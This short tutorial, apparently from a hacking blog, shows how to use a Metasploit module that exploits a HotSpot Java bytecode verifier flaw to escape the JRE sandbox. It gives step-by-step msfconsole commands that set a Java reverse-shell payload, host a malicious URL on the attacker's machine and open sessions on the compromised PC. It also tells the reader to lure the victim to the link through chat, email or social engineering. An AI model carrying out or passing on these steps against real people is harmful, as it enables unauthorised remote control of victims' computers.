This module exploits vulnerability in HotSpot bytecode verifier where an invalid optimization of GETFIELD/PUTFIELD/GETSTATIC/PUTSTATIC instructions leads to insufficient type checks. This allows a way to escape the JRE sandbox, and load additional classes in order to perform malicious operations.
Exploit Targets
Generic (Java Payload) (default)
Windows x86 (Native Payload)
Mac OS X PPC (Native Payload)
Mac OS X x86 (Native Payload)
Linux x86 (Native Payload)
Requirement
Attacker: Backtrack 5
Victim PC: Windows XP
Open backtrack terminal type msfconsole
Now type use exploit/multi/windows/browser/java_verifier_field_access
Msf exploit (java_verifier_field_access)>set payload java/shell_reverse_tcp
Msf exploit (java_verifier_field_access)>set lhost 192.168.1.2 (IP of Local Host)
Msf exploit (java_verifier_field_access)>set srvhost 192.168.1.2 (This must be an address on the local machine)
Msf exploit (java_verifier_field_access)>set uripath / (The Url to use for this exploit)
Msf exploit (java_verifier_field_access)>exploit
Now an URL you should give to your victim http://192.168.1.2:8080/
Send the link of the server to the victim via chat or email or any social engineering technique.
Now you have access to the victims PC. Use “Sessions -l” and the Session number to connect to the session. And Now Type “sessions -i ID“



